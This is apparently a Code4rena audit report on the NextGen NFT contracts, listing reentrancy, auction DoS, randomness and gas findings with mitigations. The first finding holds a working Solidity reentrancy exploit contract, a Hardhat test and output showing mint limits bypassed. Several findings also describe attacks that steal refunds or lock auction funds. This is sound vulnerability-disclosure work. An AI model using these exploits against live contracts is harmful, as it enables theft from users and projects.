NextGen - r0ck3tz's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L231 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L182-L183 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L193-L198 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L218-L221

Vulnerability details

Impact

The NextGenCore contract implements the _mintProcessing function, responsible for minting NFT tokens. It uses the _safeMint function, which in addition to minting, checks if the recipient is a contract capable of handling ERC-721 tokens. This verification is achieved by calling the onERC721Received hook on the recipient contract and checking if it returns value of IERC721.onERC721Received.selector. However, this behavior allows an attacker to hijack the execution of the code before the state updates in airDropTokens, mint, or burnToMint are executed.

The following attack vectors were identified:

1. Bypassing the mint max allowance in the allowlist mechanism by reentering the mint function of the MinterContract with the same merkle proof before tokensMintedAllowlistAddress in NextGenContract is updated.
2. Bypassing the minting max allowance in public minting by reentering the mint function of the MinterContract before the tokensMintedPerAddress in NextGenContract is updated.
3. Minting tokens by burning the same NFT from the collection multiple times in the burnToMint functionality by reentering the burnToMint before the NFT is being burned.

Proof of Concept

The following proof of concept presents attack resulting in minting 10 tokens using a single merkle proof that max allowance is set to 1.

Exploit:

pragma solidity ^0.8.19;

import "hardhat/console.sol";

interface IERC721 {
    function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data) external returns (bytes4);
    function balanceOf(address owner) external view returns (uint256);
}
interface MinterContract {
    function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) external payable;
}


contract Exploit {
    MinterContract minter;
    IERC721 nft;
    
    uint256 collectionId;
    uint256 numOfTokens;
    uint256 maxAllowance;
    string tokenData;

    constructor(address minterAddress, address nftAddress) {
        minter = MinterContract(minterAddress);
        nft = IERC721(nftAddress);
    }

    function attack(uint256 collectionId_, uint256 numOfTokens_, uint256 maxAllowance_, string memory tokenData_) external {
        collectionId = collectionId_;
        numOfTokens = numOfTokens_;
        maxAllowance = maxAllowance_;
        tokenData = tokenData_;
       
        console.log("nft balance before the attack", nft.balanceOf(address(this)));
        
        minter.mint(
            collectionId_,
            numOfTokens_,
            maxAllowance_,
            tokenData_,
            address(this),
            new bytes32[](0),
            address(0),
            0
        );

        console.log("nft balance after the attack", nft.balanceOf(address(this)));
    }

    function generateProof(address sender, uint256 maxAllowance, string memory tokenData) public view returns (bytes32) {
        bytes32 node = keccak256(abi.encodePacked(sender, maxAllowance, tokenData));
        return node;
    }
    
    function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data) external returns (bytes4) {
        if(nft.balanceOf(address(this)) < 10) {
            minter.mint(
                collectionId,
                numOfTokens,
                maxAllowance,
                tokenData,
                address(this),
                new bytes32[](0),
                address(0),
                0            
            );
        }

        return IERC721.onERC721Received.selector; 
    }
}

Test case:

it.only("exploit reentrancy mint allowlist", async function () {
      const Exploit = await ethers.getContractFactory("Exploit");
      const exploit = await Exploit.deploy(await contracts.hhMinter.getAddress(), await contracts.hhCore.getAddress());

      await contracts.hhCore.addMinterContract(contracts.hhMinter);

      const collectionId = await contracts.hhCore.newCollectionIndex();
      console.log("New collection Id", collectionId);

      // Create collection
      await contracts.hhCore.createCollection("Collection", "Artist", "Testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"],
);
    
      // Set collection data
      await contracts.hhCore.setCollectionData(collectionId, signers.addr1.address, 2, 10000, 0);
    
      // Set minter contract & randomizer
      await contracts.hhCore.addRandomizer(collectionId, contracts.hhRandomizer);

      await contracts.hhMinter.setCollectionCosts(
        collectionId, // _collectionID
        1, // _collectionMintCost
        0, // _collectionEndMintCost
        0, // _rate
        1, // _timePeriod
        2, // _salesOptions
        '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
      )
    
      // This proof is just generated to establish the be set up as a root
      const proof = await exploit.generateProof(await exploit.getAddress(), 1, '{"tdh": "100"}');
      // We set up the collection phases, the numbers are set to force phase 1 with allowlist and merkle proofs
      await contracts.hhMinter.setCollectionPhases(
        collectionId, // _collectionID
        0, // _allowlistStartTime
        999999999999, // _allowlistEndTime
        1696931278, // _publicStartTime
        1796931278, // _publicEndTime
        proof, // _merkleRoot
      ) 

      // At this point attacker has a merkle proof that allows him to mint just 1 token
      await exploit.attack(
        collectionId,
        1,
        1,
        '{"tdh": "100"}'
      );
      // Because of the reentrancy attacker was able to mint 10 NFTs.
  });

Output:

$ npx hardhat test

  NextGen Tests
New collection Id 1n
nft balance before the attack 0
nft balance after the attack 10
    ✔ exploit reentrancy mint allowlist

Tools Used

Manual Review

Recommended Mitigation Steps

It is recommended to follow the checks-effects-interactions pattern and execute _mintProcessing at the end of execution in the airDropTokens, mint, and burnToMint functions, after the state changes. It's important to note that this is a cross-contract reentrancy attack that cannot be easily solved by using a reentrancy guard. The solution would require a global reentrancy guard that disallows access to functions of all contracts in the protocol.

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L105 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L112 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L116

Vulnerability details

Impact

The AuctionDemo contract implements an English Auction that allows participation in bidding for the collection's NFTs. Once the auction is finished, the winner or administrator can conclude the auction through the claimAuction function. The issue arises from the incorrect implementation of the time check for block.timestamp in the claimAuction function, allowing triggering of cancelBid, cancelAllBids, participateToAuction, and claimAuction when block.timestamp is equal to auctionEndTime. This results in a high-severity issue where the attacker may hijack the execution in claimAuction through the refund external call and cancel all their bids, ultimately being refunded twice.

Proof of Concept

1. Attacker participates in the auction and through MaliciousContract deposits 10 ether.
2. Attacker bids more to win the auction and deposits 11 ether.
3. The auction finishes and the attacker triggers claimAuction in such condition that block.timestamp == minter.getAuctionEndTime(_tokenId)
4. The claimAuction function refunds to MaliciousContract the 10 ether, but the contract triggers logic on receiving payment and triggers cancelAll function to cancel its bids which returns 10 ether and the 11 ether.
5. Attacker ends up with 20 ether + NFT, stealing effectively 9 ether in value.

Winning the auction and paying for the NFT can be avoided by employing two malicious contracts. The first contract calls the second contract, which cancels the bid. This action sets the bid status to false and effectively refunds the supposed winner.

There are multiple scenario where this can be exploited, including the one that the attacker does not need to win the auction.

Tools Used

Manual Review

Recommended Mitigation Steps

It is recommended to correctly set the time ranges checks to ensure they are not overlapping. Change in claimAuction check block.timestamp >= minter.getAuctionEndTime(_tokenid) to block.timestamp > minter.getAuctionEndTime(_tokenid).

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L116

Vulnerability details

Impact

The AuctionDemo contract, when claiming the token after the auction, iterates over all bidders and either refunds the bid or transfers the NFT. The refund payments are executed through an external calls, and although the return value is not checked, it still allows for the execution of a denial-of-service attack through gas griefing.

(bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");

There are two issues with the current implementation:

• The call does not specify the amount of gas forwarded to the call, which in this case will be 63/64th of the remaining gas. The MaliciousContract that receives the refund can consume all that gas and force the further execution of the code to fail, as there is not enough gas to complete the execution of the claimAuction transaction.
• The return data of the call is implicitly copied to the memory, which might be another attack vector. In this case, MaliciousContract could return excessive data, causing high processing costs.

Proof of Concept

1. The attacker sets up MaliciousContract.
2. The attacker participates in bidding through MaliciousContract.
3. The auction winner decides to claim the token using the claimAuction function.
4. The claimAuction function attempts to refund MaliciousContract's bid through an external call.
5. MaliciousContract consumes all available gas.
6. The claimAuction function fails to execute due to running out of gas.

Tools Used

Manual Review

Recommended Mitigation Steps

It is recommended to implement the pull-over-push pattern, allowing bidders to claim their refunds. If that approach is not feasible, consider limiting the amount of gas forwarded to the bidder. Additionally, to prevent the implicit copy of return data to memory, use assembly code.

The following code presents a correct implementation that addresses the mentioned issues:

bool success;
address bidder = auctionInfoData[_tokenid][i].bidder;
uint256 amount = auctionInfoData[_tokenid][i].bid;
assembly {
    success := call(3000, bidder, amount, 0, 0, 0, 0)
}

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/RandomizerRNG.sol#L49 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/RandomizerVRF.sol#L66

Vulnerability details

Impact

The NextGenRandomizerRNG and NextGenRandomizerVRF implement the fulfillRandomWords function, which incorrectly calculates the hash to be set for the given token. In both implementations, bytes32 is used instead of keccak256.

In NextGenRandomizerRNG contract:

bytes32(abi.encodePacked(_randomWords,requestToToken[_requestId])

In NextGenRandomizerVRF contract:

bytes32(abi.encodePacked(numbers,requestToToken[id]))

This means that from the produced 64-byte value from abi.encodePacked - [random number][tokenId] - the bytes32 takes only the first 32 bytes, which is the random number, completely skipping the tokenId part.

This is particularly important for NextGenRandomizerVRF, where it is possible to request multiple random numbers to be generated by setting numWords to a higher value than 1. Receiving multiple random numbers will result in only the first one being used for the hash value.

Proof of Concept

1. User mints a token and a random number is returned by the NextGenRandomizerRNG or NextGenRandomizerVRF randomizer.
2. The generated hash is just a bytes32 representation of the random number.
3. User mints another token and the same random number is returned.
4. Both NFTs have the same hash.

Tools Used

Manual Review

Recommended Mitigation Steps

It is recommended to change the use of bytes32 with keccak256 which will take into account all passed values.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L112

Vulnerability details

Impact

The AuctionDemo contract, during the process of claiming the token after the auction, iterates over all bidders, either refunding the bid or transferring the NFT based on whether the bidder is the highest. This is the sole mechanism allowing bidders to retrieve their funds post-auction. However, an attacker can disrupt this process by bidding from their MaliciousContract and becoming the highest bidder. As the MaliciousContract lacks the implementation of the onERC721Received hook, a prerequisite for the safeTransferFrom function of ERC-721, it ends up reverting. Consequently, the auction cannot be finalized through claimAuction, and all funds remain locked in the contract.

Proof of Concept

1. The attacker creates a MaliciousContract that does not implement the onERC721Received hook.
2. The attacker wins the auction using the MaliciousContract.
3. All bidders who participated in the auction attacked by the malicious contract find their funds locked within the contract.

Tools Used

Manual Review

Recommended Mitigation Steps

It is recommended to implement the pull-over-push pattern, wherein the winner is required to actively retrieve their winnings.

Assessed type

DoS

Summary

Low Severity

[L-01] Ether dust accumulation in NextGenMinterContract

The payArtist function divides royalties between artists and teams. The calculations are performed by multiplying the royalty by the percentage and then dividing by 100 for all payments. The issue is that the payment calculation does not take into account decimals, which can lead to ether dust accumulation with the last payment.

artistRoyalties1 = royalties * collectionArtistPrimaryAddresses[colId].add1Percentage / 100;
artistRoyalties2 = royalties * collectionArtistPrimaryAddresses[colId].add2Percentage / 100;
artistRoyalties3 = royalties * collectionArtistPrimaryAddresses[colId].add3Percentage / 100;
teamRoyalties1 = royalties * _teamperc1 / 100;
teamRoyalties2 = royalties * _teamperc2 / 100;

It is recommended to calculate the amount of the last payment as the difference between the value of royalties and the amount that has already been paid.

[L-02] It is possible to set collection data twice through setCollectionData

The setCollectionData of NextGenCore contract does not validate that the passed _collectionTotalSupply is not equal to 0. This leads to situation where it is possible to populate collectionAdditionalData structure and then change that data later on. In addition the reservedMaxTokenIndex is set to the value that belongs to the previous collection. Its because of the calculation:

collectionAdditionalData[_collectionID].reservedMaxTokensIndex = (_collectionID * 10000000000) + _collectionTotalSupply - 1;

Which will end up with (_collectionID * 10000000000) + 0 - 1;

[L-03] Weak source of randomness

Contract RandomizerNXT and randomPool are using weak source of randomness which is based on the keccak256 of multiple predictable values such as block.prevrandao, blockhash of the previous block and the block.timestamp.

• https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/RandomizerNXT.sol#L57
• https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/XRandoms.sol#L36
• https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/XRandoms.sol#L41

[L-04] Missing check for minting that number of tokens is not equal to 0

The mint function of MinterContract allows passing the number of tokens to mint as 0. Although this will accept the ether since the function is payable, it will not mint any NFT. It is recommended to add a check to ensure the number of tokens to mint is not equal to 0.

[L-05] Missing input validation for createCollection

The NextGenCore contract implements the createCollection function that accepts multiple strings, but it lacks any type of validation, such as checking if the strings are not empty. It is recommended to add validation to the createCollection function.

Notes

[N-01] Minting cannot start until randomizer is set

The protocol requires the randomizer for the collection to be set, otherwise, it will revert at a call to calculate the hash. It is recommended to disallow any minting if the randomizer is not set.

[N-02] Validate if the new contract address is correct

There are multiple update contract address functions that do not check if the new address is the correct contract.

• updateAdminsContract of RandomizerNXT does not check if the new admin contract is the actual admin contract.
• updateCoreContract of NextGenRandomizerNXT does not check if the new core contract is the actual core contract.
• updateCoreContract of NextGenRandomizerRNG does not check if the new core contract is the actual core contract. It is recommended to add additional check to update contract address functions to ensure new address is an address of the correct contract.

[N-03] Functions can be pure

The isRandomizerContract funtion of NextGenRandomizerNXT, NextGenRandomizerRNG NextGenRandomizerVRF contracts are view but can be set as pure.

[N-04] Function should be set as private

• The requestRandomWords function in NextGenRandomizerRNG should be private since it is only called by calculateTokenHash. In addition it will be possible to remove redundant check for msg.sender == gencore
• The requestRandomWords function in NextGenRandomizerVRF should be private since it is only called by calculateTokenHash. In addition it will be possible to remove redundant check for msg.sender == gencore

[N-05] Mixed use of msg.sender and _msgSender()

The NextGenAdmins contract is using msg.sender and _msgSender() values at the same time. Consider either using everywhere msg.sender or in case meta transactions are expected to be supported use _msgSender().

Gas Optimization

Summary

[G-01] Pack structs

• In AuctionDemo.sol struct auctionInfoStru stores auction data in 3 storage slots. This can be easily packed into a single slot, by changing uint256 bid to uint88 which can handle over 309485009 ether:

struct auctionInfoStru {
    address bidder;
   uint88 bid;
   bool status;
}

• In MinterContract.sol struct collectionPhasesDataStructure uses 10 storage slots but can be reduced to 4 storage slots:

struct collectionPhasesDataStructure {
    uint32 allowlistStartTime;
    uint32 allowlistEndTime;
    uint32 publicStartTime;
    uint32 publicEndTime;
    uint32 timePeriod;
    uint32 rate;
    bytes32 merkleRoot;
    uint128 collectionMintCost;
    uint128 collectionEndMintCost;
    uint8 salesOption;
    address delAddress;
}

• In MinterContract.sol struct royaltiesPrimarySplits holds percentages. These values are small and both can be held in a single storage slot instead of two:

struct royaltiesPrimarySplits {
    uint128 artistPercentage;
    uint128 teamPercentage;
}

• In MinterContract.sol struct collectionPrimaryAddresses uses 7 storage slots but it can be reduced to 3 storage slots:

struct collectionPrimaryAddresses {
    address primaryAdd1;
    uint88 add1Percentage;
    address primaryAdd2;
    uint88 add2Percentage;
    address primaryAdd3;
    uint88 add3Percentage;
    bool status;
}

• In MinterContract.sol struct royaltiesSecondarySplits uses two storage slots but it can be reduced to one storage slot:

struct royaltiesSecondarySplits {
    uint128 artistPercentage;
    uint128 teamPercentage;
}

• In MinterContract.sol struct collectionSecondaryAddresses uses 7 storage slots but it can be reduced to 3 storage slots:

struct collectionSecondaryAddresses {
    address secondaryAdd1;
    uint88 add1Percentage;
    address secondaryAdd2;
    uint88 add2Percentage;
    address secondaryAdd3;
    uint256 add3Percentage;
    bool status;
}

• In NextGenCore.sol struct collectionAdditonalDataStructure uses 9 storage slots but it can reduced to 4 slots:

struct collectionAdditonalDataStructure {
    address collectionArtistAddress;
    uint32 maxCollectionPurchases;
    uint32 collectionCirculationSupply;
    uint32 collectionTotalSupply;
    uint256 reservedMinTokensIndex;
    uint256 reservedMaxTokensIndex;
    uint64 setFinalSupplyTimeAfterMint;
    address randomizerContract;
}

[G-02] Expensive functions returnHighestBid and returnHighestBidder

The AuctionDemo contract implements functions returnHighestBid and returnHighestBidder that dynamically search for the highest bid and bidder. This is very inefficient. Consider adding storage values highestBid and highestBidder that are updated on new bid and cancel bid functionality

[G-03] Obsolete code

• In AuctionDemo.sol the additional check in returnHighestBid is not needed and can be removed. This is because there is already check for the auctionInfoData's status and highBid has initial value of 0.
• The proposeSecondaryAddressesAndPercentages sets the value of status collectionArtistSecondaryAddresses[_collectionID].status to false which is obsolete since that value is false already.
• The proposePrimaryAddressesAndPercentages sets the value of status collectionArtistSecondaryAddresses[_collectionID].status to false which is obsolete since that value is false already.

[G-04] Storing the same value multiple times

• The NextGenRandomizerNXT and NextGenRandomizerRNG store the address of NextGenCore in gencore and gencoreContract storage variables. These values are exactly the same and stored in the form of the address in the storage. It is recommended to store the value of the gencore address once and then use an interface to interact with it.
• The NextGenCore contract stores the same value in the collectionAdditionalDataStructure structure of randomizerContract and randomizer. It is recommended to store the value of the randomizer address once and then use an interface to interact with it.

[G-05] Use constant value for random words

The wordList is being constructed in memory within getWord of randomPool contract every single time the function is triggered. Consider moving wordList outside of the function as constant values.

[G-06] Inheriting contracts that are not used

• Contract NextGenRandomizerRNG inherits from Ownable contract that functionality is not used. It is recommended to remove inheritance from Ownable contract.
• Contract NextGenRandomizerVRF inherits from Ownable contract that functionality is not used. It is recommended to remove inheritance from Ownable contract.

[G-07] Cache storage values

Throughout the codebase, there are multiple instances where storage variables are being read repeatedly, leading to inflated gas costs. It is recommended to cache storage variables that are read more than once.

[G-08] Unused storage variables

There are unused storage variables that should be removed:

• Storage variable tokenToRequest mapping in NextGenRandomizerRNG.
• Storage variable tokenToRequest mapping in NextGenRandomizerVRF.

[G-09] Use uint256 type instead of boolean

There are multiple contracts that are using boolean storage values. In case the boolean is the only value in the storage slot, it's better to use uint256 to avoid masking to extract the boolean:

1. In the AuctionDemo contract, the auctionClaim mapping.
2. The NextGenAdmins contract is using boolean values to represent permissions in mappings. This consumes additional gas since for every comparison it requires masking the 32 bytes value to extract a single-byte boolean value. It is recommended to use uint256 values and check if the value is not 0.
3. The NextGenCore contract is using booleans for mappings of onchainMetadata, collectionFreeze, and artistSigned.
4. The MinterContract is using booleans for mappings of burnToMintCollections, burnExternalToMintCollections, and mintToAuctionStatus.

[G-10] Obsolete checks in NextGenCore functions

The airDropTokens, mint, burnToMint functions of NextGenCore contract implement following check:

if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply)

This check is not needed since the correctness of minting tokens is already being verified in the MinterContract in the airDropTokens, mint, and burnToMint functions through a check similar to this

collectionTokenMintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col) + _numberOfTokens - 1;
require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(col), "No supply");

It is recommended to remove obsolete checks in NextGenCore contract.

[G-11] Optimize the delegation allowance

The if statement checking if isAllowedToMint is still false in the mint and burnOrSwapExternalToMint functions is not necessary. It is recommended to use logical or statements to efficiently determine the value of isAllowedToMint.

isAllowedToMint = dmc.call1() || dmc.call2() || dmc.call3() | dmc.call4()

[G-12] Unnecessary calculation

The burnToMint, mintAndAuction, and burnOrSwapExternalToMint functions of MinterContract are calculating the same value twice. Initially, they calculate collectionTokenMintIndex, run some checks, and then recalculate that value and assign it to mintIndex. It is recommended to use collectionTokenMintIndex for the mintIndex.